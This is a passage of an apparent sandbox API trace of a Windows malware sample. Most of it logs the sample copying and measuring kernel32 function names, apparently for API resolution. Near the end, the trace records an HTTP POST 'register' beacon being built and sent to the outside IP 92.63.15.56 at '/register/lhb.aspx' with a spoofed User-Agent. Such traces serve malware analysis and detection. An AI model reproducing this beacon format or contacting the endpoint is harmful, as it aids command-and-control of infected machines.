lpString1=0x2e7eb64, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0117.715] lstrlenA (lpString="CLOSESTATE") returned 10 [0117.715] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0117.715] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0117.715] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0117.715] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0117.715] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0117.715] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0117.715] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0117.716] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0117.716] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0117.716] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0117.716] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0117.716] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0117.716] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0117.716] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0117.716] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0117.716] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0117.716] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0117.716] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0117.716] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0117.716] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0117.716] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0117.716] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0117.716] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0117.716] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0117.716] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0117.716] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0117.716] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0117.716] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0117.716] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0117.716] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0117.716] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0117.716] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0117.716] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0117.716] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0117.716] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0117.716] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0117.716] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0117.716] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0117.716] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0117.716] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0117.716] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0117.716] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0117.716] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0117.716] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0117.716] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0117.716] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0117.717] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0117.717] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0117.717] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0117.717] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0117.717] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0117.717] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0117.717] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0117.717] lstrlenA (lpString="COPYCONTEXT") returned 11 [0117.717] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0117.717] lstrlenA (lpString="COPYFILE2") returned 9 [0117.717] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0117.717] lstrlenA (lpString="COPYFILEA") returned 9 [0117.717] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0117.717] lstrlenA (lpString="COPYFILEEXA") returned 11 [0117.717] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0117.717] lstrlenA (lpString="COPYFILEEXW") returned 11 [0117.717] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0117.717] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0117.717] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0117.717] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0117.717] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0117.717] lstrlenA (lpString="COPYFILEW") returned 9 [0117.717] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0117.717] lstrlenA (lpString="COPYLZFILE") returned 10 [0117.717] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0117.717] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0117.717] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0117.717] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0117.717] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0117.717] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0117.717] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0117.717] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0117.717] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0117.717] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0117.717] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0117.717] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0117.717] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0117.718] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0117.718] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0117.718] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0117.718] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0117.718] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0117.718] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0117.718] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0117.718] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0117.718] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0117.718] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0117.718] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0117.718] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0117.718] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0117.718] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0117.718] lstrlenA (lpString="CREATEEVENTA") returned 12 [0117.718] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0117.718] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0117.718] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0117.718] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0117.718] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0117.718] lstrlenA (lpString="CREATEEVENTW") returned 12 [0117.718] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0117.718] lstrlenA (lpString="CREATEFIBER") returned 11 [0117.718] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0117.718] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0117.718] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0117.718] lstrlenA (lpString="CREATEFILE2") returned 11 [0117.718] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0117.718] lstrlenA (lpString="CREATEFILEA") returned 11 [0117.718] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0117.718] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0117.718] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0117.718] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0117.718] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0117.718] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0117.718] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0117.719] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0117.719] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0117.719] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0117.719] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0117.719] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0117.719] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0117.719] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0117.719] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0117.719] lstrlenA (lpString="CREATEFILEW") returned 11 [0117.719] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0117.719] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0117.719] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0117.719] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0117.719] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0117.719] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0117.719] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0117.719] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0117.719] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0117.719] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0117.719] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0117.719] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0117.719] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0117.719] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0117.719] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0117.719] lstrlenA (lpString="CREATEJOBSET") returned 12 [0117.719] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0117.719] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0117.719] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0117.719] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0117.719] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0117.719] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0117.719] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0117.719] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0117.719] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0117.719] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0117.719] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0117.720] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0117.720] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0117.720] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0117.720] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0117.720] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0117.720] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0117.720] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0117.720] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0117.720] lstrlenA (lpString="CREATEPIPE") returned 10 [0117.720] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0117.720] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0117.720] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0117.720] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0117.720] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0117.720] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0117.720] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0117.720] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0117.720] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0117.720] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0117.720] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0117.720] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0117.720] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0117.720] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0117.720] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0117.720] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0117.720] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0117.720] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0117.720] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0117.720] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0117.720] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0117.720] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0117.720] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0117.720] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0117.720] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0117.720] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0117.720] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0117.721] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0117.721] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0117.721] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0117.721] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0117.721] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0117.721] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0117.721] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0117.721] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0117.721] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0117.721] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0117.721] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0117.721] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0117.721] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0117.721] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0117.721] lstrlenA (lpString="CREATETHREAD") returned 12 [0117.721] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0117.721] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0117.721] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0117.721] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0117.721] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0117.721] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0117.721] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0117.721] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0117.721] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0117.721] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0117.721] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0117.721] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0117.721] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0117.721] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0117.721] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0117.721] lstrlenA (lpString="CREATETIMERQUEUETIMER") returned 21 [0117.721] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateToolhelp32Snapshot" | out: lpString1="CreateToolhelp32Snapshot") returned="CreateToolhelp32Snapshot" [0117.722] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0117.723] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0117.724] GetModuleHandleA (lpModuleName="user32.dll") returned 0x74b70000 [0117.724] wsprintfA (in: param_1=0x31c0000, param_2="POST /%s HTTP/1.1\r\nUser-Agent: %s\r\nHost: %s\r\nContent-Type: %s\r\nContent-Length: %d\r\nConnection: Keep-Alive\r\n\r\n" | out: param_1="POST /register/lhb.aspx HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko\r\nHost: 92.63.15.56\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 221\r\nConnection: Keep-Alive\r\n\r\n") returned 235 [0117.724] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0117.724] send (s=0x544, buf=0x31c0000*, len=456, flags=0) returned 456 [0117.725] shutdown (s=0x544, how=1) returned 0 [0117.725] recv (in: s=0x544, buf=0x2e7f828, len=1, flags=0 | out: buf=0x2e7f828*) returned 1 [0117.854] recv (in: s=0x544, buf=0x2e7f829, len=1, flags=0 | out: buf=0x2e7f829*) returned 1 [0117.854] recv (in: s=0x544, buf=0x2e7f82a, len=1, flags=0 | out: buf=0x2e7f82a*) returned 1 [0117.854] recv (in: s=0x544, buf=0x2e7f82b, len=1, flags=0 | out: buf=0x2e7f82b*) returned 1 [0117.854] recv (in: s=0x544, buf=0x2e7f82c, len=1, flags=0 | out: buf=0x2e7f82c*) returned 1 [0117.854] recv (in: s=0x544, buf=0x2e7f82d, len=1, flags=0 | out: buf=0x2e7f82d*) returned 1 [0117.854] recv (in: s=0x544, buf=0x2e7f82e, len=1, flags=0 | out: buf=0x2e7f82e*) returned 1 [0117.854] recv (in: s=0x544, buf=0x2e7f82f, len=1, flags=0 | out: buf=0x2e7f82f*) returned 1 [0117.854] recv (in: s=0x544, buf=0x2e7f830, len=1, flags=0 | out: buf=0x2e7f830*) returned 1 [0117.854] recv (in: s=0x544, buf=0x2e7f831, len=1, flags=0 | out: buf=0x2e7f831*) returned 1 [0117.854] recv (in: s=0x544, buf=0x2e7f832, len=1, flags=0 | out: buf=0x2e7f832*) returned 1 [0117.854] recv (in: s=0x544, buf=0x2e7f833, len=1, flags=0 | out: buf=0x2e7f833*) returned 1 [0117.855] recv (in: s=0x544, buf=0x2e7f834, len=1, flags=0 | out: buf=0x2e7f834*) returned 1 [0117.855] recv (in: s=0x544, buf=0x2e7f835, len=1, flags=0 | out: buf=0x2e7f835*) returned 1 [0117.855] recv (in: s=0x544, buf=0x2e7f836, len=1, flags=0 | out: buf=0x2e7f836*) returned 1 [0117.855] recv (in: s=0x544, buf=0x2e7f837, len=1, flags=0 | out: buf=0x2e7f837*) returned 1 [0117.855] recv (in: s=0x544, buf=0x2e7f838, len=1, flags=0 | out: buf=0x2e7f838*) returned 1 [0117.855] recv (in: s=0x544, buf=0x2e7f839, len=1, flags=0 | out: buf=0x2e7f839*) returned 1 [0117.855] recv (in: s=0x544, buf=0x2e7f83a, len=1, flags=0 | out: buf=0x2e7f83a*) returned 1 [0117.855] recv (in: s=0x544, buf=0x2e7f83b, len=1, flags=0 | out: buf=0x2e7f83b*) returned 1 [0117.855] recv (in: s=0x544, buf=0x2e7f83c, len=1, flags=0 | out: buf=0x2e7f83c*) returned 1 [0117.855] recv (in: s=0x544, buf=0x2e7f83d, len=1, flags=0 | out: buf=0x2e7f83d*) returned 1 [0117.855] recv (in: s=0x544, buf=0x2e7f83e, len=1, flags=0 | out: buf=0x2e7f83e*) returned 1 [0117.855] recv (in: s=0x544, buf=0x2e7f83f, len=1, flags=0 | out: buf=0x2e7f83f*) returned 1 [0117.856] recv (in: s=0x544, buf=0x2e7f840, len=1, flags=0 | out: buf=0x2e7f840*) returned 1 [0117.856] recv (in: s=0x544, buf=0x2e7f841, 